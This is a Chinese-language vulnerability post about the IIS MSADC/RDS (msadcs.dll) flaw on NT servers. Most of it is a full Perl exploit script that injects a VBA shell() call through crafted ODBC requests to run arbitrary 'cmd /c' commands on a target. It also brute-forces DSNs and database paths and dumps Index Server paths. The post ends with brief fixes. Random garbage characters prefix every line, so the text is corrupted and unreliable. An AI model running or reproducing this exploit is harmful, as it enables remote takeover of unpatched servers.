IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
XDHLEG-u( XK1fHfCEa 涉及程序:
IK8%Q(.c Microsoft NT server
L<0=giE (.PmDBW 描述:
dF$KrwDK
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
+d =~LQ}* Y.E?;iS 详细:
R @"`~#$$ 如果你没有时间读详细内容的话,就删除:
c+1vqbqHG c:\Program Files\Common Files\System\Msadc\msadcs.dll
=Q@6c 有关的安全问题就没有了。
M6\7FP6G /[0F6 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
F\JLbY{x] _~ v-:w 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
JdtPY~k0 关于利用ODBC远程漏洞的描述,请参看:
_=uviMuE _O$tuC% http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1sD~7KPg? PDhWFF 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
p[u4, http://www.microsoft.com/security/bulletins/MS99-025faq.asp .XIr?>G ~fBex_.o* 这里不再论述。
C}9Kx }q GN0duV 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
$iwIF7,\P 6Hda]y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^=k{~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
)]wuF` Oohq9f#! :xM}gPj" #将下面这段保存为txt文件,然后: "perl -x 文件名"
k9l^6#<? bhn5Lz$z #!perl
4 HW; #
G&jZ\IV # MSADC/RDS 'usage' (aka exploit) script
aF!WIvir #
ER_ 3' # by rain.forest.puppy
VxkEe z'| #
bGu([VB # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4Ppop # beta test and find errors!
O)`Gzx*ShU .ots?Ns use Socket; use Getopt::Std;
YIO.yN"0 getopts("e:vd:h:XR", \%args);
8]HY. $E QhsVIta print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rfc|`*m}0 /eb-'m if (!defined $args{h} && !defined $args{R}) {
Wa<-AZnh print qq~
7C?E z%a@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
a}dw9wU!: -h <host> = host you want to scan (ip or domain)
a5)JkC -d <seconds> = delay between calls, default 1 second
]=|P<F -X = dump Index Server path table, if available
*t]v}ZV* -v = verbose
"Vx6 #u@} -e = external dictionary file for step 5
}1Z6e[K? EWO /u.z Or a -R will resume a command session
n7S;
Xve# ni<[G0#T ~; exit;}
++0rF\& `6}Yqh)) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
x%pRDytA if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m@[3~
6A if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6#vI;d[^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~2(]ZfO?>H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%jTw if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{"t5\U6cKM ~?d>fR:X if (!defined $args{R}){ $ret = &has_msadc;
H nd+l)ng die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
GL`tOD:P" )(]Envb?A0 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7 OWsHlU . "cmd /c ";
F 3s?&T)[G $in=<STDIN>; chomp $in;
7f*
RM $command="cmd /c " . $in ;
dXK-&Po' &oEyixe if (defined $args{R}) {&load; exit;}
{mf.!Xev 7D9]R#-K print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
WL:0R>0 &try_btcustmr;
h7*O.Opm= P7UJ-2%Y+ print "\nStep 2: Trying to make our own DSN...";
B!uxs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+q-c8z ST%
T =_q print "\nStep 3: Trying known DSNs...";
_#vGs:-x& &known_dsn;
d"GDZ[6 !5~k:1= print "\nStep 4: Trying known .mdbs...";
- wWRm &known_mdb;
S<pkc8 ^RDU
p5,T if (defined $args{e}){
E-F5y print "\nStep 5: Trying dictionary of DSN names...";
s~Gw &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HU9p!I. {2EMz|&8 print "Sorry Charley...maybe next time?\n";
n.ct]+L exit;
}AJ L,Q7q -=sf}4A ##############################################################################
*{nunb>WO GMe0;StT sub sendraw { # ripped and modded from whisker
mw"}8y sleep($delay); # it's a DoS on the server! At least on mine...
J `x}{K my ($pstr)=@_;
&~ y{'zoL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fp tIc#4 die("Socket problems\n");
s>r ^r%uK if(connect(S,pack "SnA4x8",2,80,$target)){
P9s_2KOF select(S); $|=1;
eo ?Oir) print $pstr; my @in=<S>;
vcM~i^24) select(STDOUT); close(S);
#<]Iz'\` return @in;
03F3q4" } else { die("Can't connect...\n"); }}
r@Nl2 o$t
&MST?i ##############################################################################
%ZiK[e3G yf?W^{^| sub make_header { # make the HTTP request
pALJl[Cb my $msadc=<<EOT
%p*`h43; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%Co
b(C&} User-Agent: ACTIVEDATA
/3F<=zi kO Host: $ip
zhjJ>d%w Content-Length: $clen
71*>L}H Connection: Keep-Alive
0Nt%YP :Fnzi0b ADCClientVersion:01.06
|eF.ZC)QWh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y
qkX:jt -F1P28<? --!ADM!ROX!YOUR!WORLD!
?uig04@3 Content-Type: application/x-varg
H>Ks6V)RL4 Content-Length: $reqlen
2^J/6R$ l@#b;M/ EOT
PF`:1;PU ; $msadc=~s/\n/\r\n/g;
RPY6Wh|4 return $msadc;}
umryA{Ps f}%sO ##############################################################################
H(?e&Qkg H6{Rd+\Z sub make_req { # make the RDS request
QY=QQG my ($switch, $p1, $p2)=@_;
^(J-dK my $req=""; my $t1, $t2, $query, $dsn;
Cc*|Zw 'z~KTDX if ($switch==1){ # this is the btcustmr.mdb query
pj+tjF6Np $query="Select * from Customers where City=" . make_shell();
418gcg6) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
..aK sSm( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f@L\E>t LPMb0F}"5 elsif ($switch==2){ # this is general make table query
[RW,{A $query="create table AZZ (B int, C varchar(10))";
1&} G+y $dsn="$p1";}
IQ#So]9~Y TZkTz
P[ elsif ($switch==3){ # this is general exploit table query
9'l.TcVm`, $query="select * from AZZ where C=" . make_shell();
IN>TsTo $dsn="$p1";}
~O8]3+U Sw[=S '(l elsif ($switch==4){ # attempt to hork file info from index server
,d5ia4\K $query="select path from scope()";
uQ-WTz|* $dsn="Provider=MSIDXS;";}
>" i~ x wAPO{3 elsif ($switch==5){ # bad query
=w t-YM $query="select";
rtoSCj: $dsn="$p1";}
RR8U
Cv \#HL`R" $t1= make_unicode($query);
:K?iNZqWN6 $t2= make_unicode($dsn);
L{zamVQG $req = "\x02\x00\x03\x00";
qgh]@JJh $req.= "\x08\x00" . pack ("S1", length($t1));
XPrY`,kN $req.= "\x00\x00" . $t1 ;
Af$0 o=". $req.= "\x08\x00" . pack ("S1", length($t2));
&MBOAHhze $req.= "\x00\x00" . $t2 ;
/\Jc:v#Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P~;<o!f return $req;}
+HYN$> ?|\0)wrRf ##############################################################################
CdE2w?1 [Q7`RB sub make_shell { # this makes the shell() statement
u)wu=z8 return "'|shell(\"$command\")|'";}
@:I\\S@bN j@s=ER ##############################################################################
X*(gT1"t ~y( ,EO sub make_unicode { # quick little function to convert to unicode
$eTv6B?m my ($in)=@_; my $out;
W5M
] for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,!xz*o+#@ return $out;}
8s\8`2= ,%&
LG],6 ##############################################################################
9_I[o.q }mkA Hmu4 sub rdo_success { # checks for RDO return success (this is kludge)
3(>(lk my (@in) = @_; my $base=content_start(@in);
EY=\C$3J: if($in[$base]=~/multipart\/mixed/){
sqgD?:@J return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6yV5Yjs return 0;}
}?\#_BCjx( >^2ZM ##############################################################################
U0lqGEZ P*?d6v,r sub make_dsn { # this makes a DSN for us
XY&]T'A my @drives=("c","d","e","f");
:..E:HdYO print "\nMaking DSN: ";
T +|J19 foreach $drive (@drives) {
AIIBd print "$drive: ";
'US8"83 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Qr^Z~$i t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~)oWSo5ll . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
f=-!2#% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3}.mp}K5 return 0 if $2 eq "404"; # not found/doesn't exist
0`aHwt/F if($2 eq "200") {
IeqWR4Y foreach $line (@results) {
"RR./e)h return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
V{/)RZ/ } return 0;}
I\F=s-VVY #L).BM ##############################################################################
L~SrI{aYPf ,Jw\3T1V sub verify_exists {
=PeW$q+ my ($page)=@_;
N7Z(lI|a; my @results=sendraw("GET $page HTTP/1.0\n\n");
.j+2x[`l return $results[0];}
Huug_E+ `SSP53R(0 ##############################################################################
J%O[@jX1 ?[*@T2Ck sub try_btcustmr {
m,kvEQ3 my @drives=("c","d","e","f");
|yId6v my @dirs=("winnt","winnt35","winnt351","win","windows");
* 7zN 8Pnqmjjj foreach $dir (@dirs) {
tOlzOBzR print "$dir -> "; # fun status so you can see progress
9phD5b~j foreach $drive (@drives) {
@hz0:ezg: print "$drive: "; # ditto
||"":K $reqlen=length( make_req(1,$drive,$dir) ) - 28;
7oqn;6<[>, $reqlenlen=length( "$reqlen" );
s`$_ $clen= 206 + $reqlenlen + $reqlen;
S|=rF<]my Npg5Z%+y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
JXZ:Wg if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Cx1Sh#9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
z!t3xFN&/ Kr+Bty ##############################################################################
A{n*NxKCX! 2C
8L\ sub odbc_error {
eL]w' }\ my (@in)=@_; my $base;
<whPM my $base = content_start(@in);
OA8b_k~ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
iA{chQBr $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QBBJ1U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7p"~:1hU $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3<1HqU return $in[$base+4].$in[$base+5].$in[$base+6];}
R;Ix<y{U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Hhce:E@K print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
b$$L]$q2 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6r-<XNv)0 zxynEdO ##############################################################################
xVwi
}jtG| 0I
ND9h.% sub verbose {
-$!Pf$l@ my ($in)=@_;
Af!
W
K= return if !$verbose;
7+2aG print STDOUT "\n$in\n";}
bju,p"J1-E +XaO?F[c ##############################################################################
_c7 kdueQ(\ sub save {
s"^YW+HMb my ($p1, $p2, $p3, $p4)=@_;
qT-nD} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
yrvSbqR print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A5>gLhl7 close OUT;}
ju2X* L^ jC&
dF ##############################################################################
YQ[&h 9Av- ;!] sub load {
~?8x0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
BX)cV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
W~@GK @p=<IN>; close(IN);
M$-(4 0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
yKk,); $target= inet_aton($ip) || die("inet_aton problems");
G4`sRaT. print "Resuming to $ip ...";
p=P0$P+KM $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
iRr&'k
if($p[1]==1) {
M6 >\R$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/-<m(72wF $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
n*8RYm)? my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Dm`U|<o if (rdo_success(@results)){print "Success!\n";}
%w|3: else { print "failed\n"; verbose(odbc_error(@results));}}
G QB^ elsif ($p[1]==3){
HI`A;G] if(run_query("$p[3]")){
d-S'y-V?d print "Success!\n";} else { print "failed\n"; }}
sB1tce elsif ($p[1]==4){
KL_}:O68 if(run_query($drvst . "$p[3]")){
}mS0{rxD4 print "Success!\n"; } else { print "failed\n"; }}
`LHfAXKN exit;}
4sD:J-c +M%2m3.Jo ##############################################################################
!v;_@iW3e +H^V},dBp! sub create_table {
qFsg&< my ($in)=@_;
W;@ae,^ $reqlen=length( make_req(2,$in,"") ) - 28;
Chi<)P$^ $reqlenlen=length( "$reqlen" );
1Qe! $clen= 206 + $reqlenlen + $reqlen;
u2x=YUWb] my @results=sendraw(make_header() . make_req(2,$in,""));
!{ )AV/\D return 1 if rdo_success(@results);
k^%ec3l my $temp= odbc_error(@results); verbose($temp);
,8 NEnB return 1 if $temp=~/Table 'AZZ' already exists/;
l$~bkVNL return 0;}
7|eSvC +Q#Qu0_
##############################################################################
_w,0wn9N$ Ak-7}i sub known_dsn {
>mDubP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
s/&]gj" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&^D@(m7>{K "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~E|V{z% "banner", "banners", "ads", "ADCDemo", "ADCTest");
dGW7,B~ 9PfU'm|h foreach $dSn (@dsns) {
1kw4'#J8 print ".";
%IXW|mi next if (!is_access("DSN=$dSn"));
%L|bF"K5; if(create_table("DSN=$dSn")){
$U.'K!B print "$dSn successful\n";
*t*&Q /W if(run_query("DSN=$dSn")){
zMqEMx9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
DczF0Ow print "Something's borked. Use verbose next time\n";}}} print "\n";}
]mT}
\b B]}V$*$\? ##############################################################################
M4PUJZ] iBW6<2@oZF sub is_access {
RvZ-w$E&? my ($in)=@_;
T[=cKYp8\ $reqlen=length( make_req(5,$in,"") ) - 28;
Qi]Z)v{^ $reqlenlen=length( "$reqlen" );
,%G2>PBt $clen= 206 + $reqlenlen + $reqlen;
LsZ!':LN my @results=sendraw(make_header() . make_req(5,$in,""));
3kQ8*S my $temp= odbc_error(@results);
X35U!1Y\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
29DWRJU return 0;}
;+KgujfU ]@}BdMlHp ##############################################################################
)P+GklI{4 3NZFW{u sub run_query {
1b%7FrPkd my ($in)=@_;
R'HA>?D $reqlen=length( make_req(3,$in,"") ) - 28;
\ OINzfbr $reqlenlen=length( "$reqlen" );
O;t?@!_ $clen= 206 + $reqlenlen + $reqlen;
D)Rf my @results=sendraw(make_header() . make_req(3,$in,""));
myX0<j3G5 return 1 if rdo_success(@results);
>^HTghgRD my $temp= odbc_error(@results); verbose($temp);
5&Kn # return 0;}
ho$%7mc GQBN-Qv ##############################################################################
jz:c)C&/ ,T[
+omo sub known_mdb {
8J U~Q my @drives=("c","d","e","f","g");
?t P/VL my @dirs=("winnt","winnt35","winnt351","win","windows");
''07Km@x my $dir, $drive, $mdb;
-{SiK my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B;je|M!d X_@@v|UF # this is sparse, because I don't know of many
zm"g,\.d my @sysmdbs=( "\\catroot\\icatalog.mdb",
<]qd9mj5 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
tX}S[jdq "\\system32\\certmdb.mdb",
DA@hf "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/ {~h?P} l;kZS my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
g}KZL-p4\m "\\cfusion\\cfapps\\forums\\forums_.mdb",
*uM*)6O 3 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
bu9&sQ; "\\cfusion\\cfapps\\security\\realm_.mdb",
wcT6d?*5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
0J</`/g H "\\cfusion\\database\\cfexamples.mdb",
B;_3IHMO "\\cfusion\\database\\cfsnippets.mdb",
$zi\ /Yw "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
SnU{ZGR>sP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
A6.'1OD "\\cfusion\\brighttiger\\database\\cleam.mdb",
vBnHG-5;P "\\cfusion\\database\\smpolicy.mdb",
6u;(R0n "\\cfusion\\database\cypress.mdb",
umn^QZ, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(.+n1)L? "\\website\\cgi-win\\dbsample.mdb",
YcZ4y@6" "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
MX\-)e# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
W/Q%%)J ); #these are just
Ls*=mh~IY foreach $drive (@drives) {
uelTsn foreach $dir (@dirs){
+N_%|!F-c foreach $mdb (@sysmdbs) {
'A2"&6m)28 print ".";
_8`;Xgp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VbR.tz print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0+i,,^x. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5~0;R`D print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+[9"M+4- } else { print "Something's borked. Use verbose next time\n"; }}}}}
z59J=?| ~-i?= foreach $drive (@drives) {
*4y r7~S5 foreach $mdb (@mdbs) {
tpK4 gjf print ".";
#ySx$WT; if(create_table($drv . $drive . $dir . $mdb)){
Z+7S,M print "\n" . $drive . $dir . $mdb . " successful\n";
Or>[_3 if(run_query($drv . $drive . $dir . $mdb)){
zxdO3I print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Jl ?Q}SB } else { print "Something's borked. Use verbose next time\n"; }}}}
W7"sWaOhW }
!{;RtUPz* e[!>ezaIY ##############################################################################
eO G%6C%a )>p6h]]a sub hork_idx {
>FNt*tX<0 print "\nAttempting to dump Index Server tables...\n";
"FS.&&1( print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
L9)&9
/f $reqlen=length( make_req(4,"","") ) - 28;
|pY0IqO $reqlenlen=length( "$reqlen" );
%L.+r!. $clen= 206 + $reqlenlen + $reqlen;
SiT &p my @results=sendraw2(make_header() . make_req(4,"",""));
Pc1N~?}. if (rdo_success(@results)){
:[3\jLrc my $max=@results; my $c; my %d;
c*Nbz,: for($c=19; $c<$max; $c++){
T7'$A!c $results[$c]=~s/\x00//g;
~!kbB4`WK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!6C d.fpWL $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
VRt*!v<") $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
cqp#1oM4M $d{"$1$2"}="";}
] plC foreach $c (keys %d){ print "$c\n"; }
~]W8NaQB( } else {print "Index server doesn't seem to be installed.\n"; }}
_jz=BRO$ <
.!3yy ##############################################################################
iN*@f8gf bP@_4Dy sub dsn_dict {
bHnQLJ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
V
"" while(<IN>){
)`^:G3w $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
{5JXg9um next if (!is_access("DSN=$dSn"));
=
xk@ Q7$ if(create_table("DSN=$dSn")){
5WYU&8+]{: print "$dSn successful\n";
DM9 5Il[/ if(run_query("DSN=$dSn")){
8 Hn{CJ~' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Q<pM
tW print "Something's borked. Use verbose next time\n";}}}
k~ue^^r} print "\n"; close(IN);}
a{W-+t qT4s*kqr ##############################################################################
4{KsCd) p%-9T>og sub sendraw2 { # ripped and modded from whisker
?da 3Azp sleep($delay); # it's a DoS on the server! At least on mine...
IpxjP\ my ($pstr)=@_;
kZNZ?A<D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b&1@rE- die("Socket problems\n");
S)%x22sqf if(connect(S,pack "SnA4x8",2,80,$target)){
t/g}cR^Q print "Connected. Getting data";
P'8E8_M} open(OUT,">raw.out"); my @in;
Apn#o2 select(S); $|=1; print $pstr;
k|5nu-B0v while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:*1w;>o)n close(OUT); select(STDOUT); close(S); return @in;
icmDPq } else { die("Can't connect...\n"); }}
|sh U 3[rB:cE/ ##############################################################################
K~]jXo^M jo~Pr sub content_start { # this will take in the server headers
#,56vVY my (@in)=@_; my $c;
$BY{:#a] for ($c=1;$c<500;$c++) {
O}Jb,?p if($in[$c] =~/^\x0d\x0a/){
&bRH(yF if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
KJiwM(o else { return $c+1; }}}
YaU A}0cW return -1;} # it should never get here actually
6_Kz}PQ /L.a:Er$ ##############################################################################
F@BNSs N= -)@.D>HsOt sub funky {
6D],275`J my (@in)=@_; my $error=odbc_error(@in);
$m>e!P>%u if($error=~/ADO could not find the specified provider/){
v|GvN|_| print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K^bn4Nr exit;}
\w3wh* if($error=~/A Handler is required/){
y^Lw7 print "\nServer has custom handler filters (they most likely are patched)\n";
LsXYvX exit;}
>@" j9 if($error=~/specified Handler has denied Access/){
!NCT) #G` print "\nServer has custom handler filters (they most likely are patched)\n";
}W<L;yD exit;}}
mI# BQE`p6 EB#z\ ##############################################################################
yl}Hr* L*z;-, sub has_msadc {
( nh!tC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
A SSoKrFL my $base=content_start(@results);
C N"c return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
i,'~Ds return 0;}
yrjm0BM# ;%1^k/b6t ########################
.<.qRq- 7XNfH@ "hfwj`U 解决方案:
I9E@2[=! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
RA6D dqT~ 2、移除web 目录: /msadc